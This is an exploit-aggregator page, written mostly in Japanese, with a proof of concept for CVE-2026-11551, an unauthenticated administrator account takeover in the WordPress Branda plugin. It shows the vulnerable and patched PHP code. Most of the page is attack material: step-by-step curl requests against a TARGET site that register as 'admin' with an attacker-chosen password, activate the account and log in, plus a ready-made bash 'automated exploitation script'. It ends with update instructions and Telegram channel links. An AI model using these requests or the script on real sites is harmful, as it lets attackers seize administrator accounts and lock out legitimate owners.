Sploitus

Exploit for By-Poloss..-..CVE-2026-11551-PoC

kitploit · 2026-08-26

Exploit Code

MARKDOWN233 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POLOSSS-BY-POLOSS..-..CVE-2026-11551-POC
# CVE-2026-11551: Branda プラグイン - アカウント乗っ取りによる未認証の権限昇格

## 概要

  * **CVE ID** : CVE-2026-11551
  * **CVSS スコア** : 9.8 (緊急)
  * **影響を受けるバージョン** : Branda – White Label & Branding <= 3.4.29
  * **修正済みバージョン** : 3.4.31
  * **公開日** : 2026年6月19日



## 脆弱性の説明

WordPress 用 Branda プラグインは、バージョン 3.4.29 以前のすべてのバージョンにおいて、アカウント乗っ取りによる権限昇格に対して脆弱です。これは、プラグインがパスワードを更新する前にユーザーの身元を適切に検証していないためです。このため、認証されていない攻撃者が管理者を含む任意のユーザーのパスワードを変更し、それを利用してそのアカウントへのアクセスを取得することが可能になります。

## 技術分析

### 脆弱なコードの場所

`/inc/modules/login-screen/signup-password.php`

### 根本原因

脆弱なバージョンの `pre_insert_user_data()` 関数には、適切な検証が欠けています:

root@kitploit:~
    
    
    // Vulnerable version (3.4.29)
    public function pre_insert_user_data( $data, $update, $id ) {
        if ( is_multisite() ) {
            // Multisite code...
        }
        // Missing: if ($update) return $data; <-- VULNERABILITY
        
        if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
            $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
        } elseif ( ! empty( $_POST['password_1'] ) ) {
            // Set the password from POST data
            $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
        }
    
        return $data;
    }
    

### 修正済みコード (3.4.31)

root@kitploit:~
    
    
    public function pre_insert_user_data( $data, $update, $id ) {
        if ( is_multisite() ) {
            // Multisite code with proper checks...
        }
    
        // FIX: Added check to prevent updating existing users
        if ( $update ) {
            return $data;
        }
    
        if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
            $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
        } elseif ( ! empty( $_POST['password_1'] ) ) {
            $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
        }
    
        return $data;
    }
    

## 攻撃ベクトル

### ベクトル 1: マルチサイト登録 (主要)

  1. 攻撃者が `/wp-signup.php` にアクセスする
  2. 既存の管理者ユーザー名 (例: "admin") で登録する
  3. `password_1` パラメータでカスタムパスワードを設定する
  4. Branda はパスワードをサインアップメタに保存する
  5. アクティベーション時に、パスワードが既存の管理者のパスワードを上書きする



### ベクトル 2: シングルサイト登録

  1. 攻撃者が `/wp-login.php?action=register` にアクセスする
  2. Branda がフォームにパスワードフィールドを追加する
  3. 攻撃者が既存のユーザー名で登録を送信する
  4. アクティベーションが完了すると、パスワードが設定される



## 概念実証 (curl)

### ステップ 1: 登録が有効かどうかを確認する

root@kitploit:~
    
    
    curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"
    

### ステップ 2: WordPress のタイプを確認する (マルチサイト vs シングル)

root@kitploit:~
    
    
    curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"
    

### ステップ 3: マルチサイトの場合 - 管理者ユーザー名で登録する

root@kitploit:~
    
    
    curl -s -k -c cookies.txt -b cookies.txt \
      -X POST "https://TARGET/wp-signup.php" \
      -d "user_name=admin" \
      -d "some-email@example.com" \
      -d "password_1=NewP@ssw0rd!" \
      -d "password_2=NewP@ssw0rd!" \
      -d "signup_for=blog"
    

### ステップ 4: シングルサイトの場合 - 登録する

root@kitploit:~
    
    
    curl -s -k -c cookies.txt -b cookies.txt \
      -X POST "https://TARGET/wp-login.php?action=register" \
      -d "user_login=admin" \
      -d "some-email@example.com" \
      -d "password_1=NewP@ssw0rd!" \
      -d "password_2=NewP@ssw0rd!" \
      -d "wp-submit=Register"
    

### ステップ 5: アクティベーション (メール検証が必要な場合)

root@kitploit:~
    
    
    # Extract activation key from email and visit:
    curl -s -k -c cookies.txt -b cookies.txt \
      "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"
    

### ステップ 6: 検証 - ログインを試行する

root@kitploit:~
    
    
    curl -s -k -c cookies.txt -b cookies.txt \
      -X POST "https://TARGET/wp-login.php" \
      -d "log=admin" \
      -d "pwd=NewP@ssw0rd!" \
      -d "wp-submit=Log In" \
      -L | grep -i "dashboard\|wp-admin\|error"
    

## 自動化された悪用スクリプト

root@kitploit:~
    
    
    #!/bin/bash
    TARGET="https://TARGET"
    USERNAME="admin"
    NEW_PASSWORD="Pwned$(date +%s)!"
    
    echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."
    
    # Multisite attack
    curl -s -k -c /tmp/cookies.txt \
      -X POST "$TARGET/wp-signup.php" \
      -d "user_name=$USERNAME" \
      -d "some-email@example.com" \
      -d "password_1=$NEW_PASSWORD" \
      -d "password_2=$NEW_PASSWORD"
    
    echo "[*] Check email for activation link"
    echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"
    

## 悪用の要件

  1. **Branda プラグイン <= 3.4.29 がインストールされ、有効化された WordPress**
  2. **ユーザー登録が有効である必要がある** (`設定 > 一般 > メンバーシップ: 誰でも登録可能` を確認)
  3. **アカウント乗っ取りを成功させるには** : 対象のユーザー名が存在している必要がある
  4. **マルチサイトの場合** : アクティベーションメールへのアクセス (またはアクティベーションのバイパス)



## 修復

Branda プラグインをバージョン 3.4.31 以降に更新してください:

root@kitploit:~
    
    
    # Via WordPress Admin
    Dashboard > Plugins > Branda > Update
    
    # Via WP-CLI
    wp plugin update branda-white-labeling
    
    # Via SSH
    wp plugin update branda-white-labeling --version=3.4.31
    

## 影響

  * **機密性** : 高 - 攻撃者が任意のユーザーアカウントにアクセスできる
  * **完全性** : 高 - 攻撃者がコンテンツを変更できる
  * **可用性** : 高 - 攻撃者が正当なユーザーをロックアウトできる



## 参考情報

  * Wordfence Intelligence
  * WPScan
  * Plugin Trac



## W.P.E.F

  * W.P.E.F Telegram チャンネル #1
  * W.P.E.F Telegram チャンネル #2